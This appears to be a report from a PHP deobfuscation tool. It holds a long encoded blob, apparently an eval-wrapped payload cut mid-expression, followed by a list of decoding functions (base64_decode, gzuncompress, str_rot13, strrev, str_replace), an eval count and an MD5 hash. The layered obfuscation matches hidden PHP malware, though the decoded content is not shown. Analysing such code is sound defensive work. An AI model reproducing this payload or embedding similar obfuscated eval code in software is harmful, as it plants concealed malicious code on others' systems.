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'))))));

Function Calls

strrev 1
str_rot13 1
str_replace 1
gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 ea79680eed01c772878d54f91f719c5f
Eval Count 1
Decode Time 22354 ms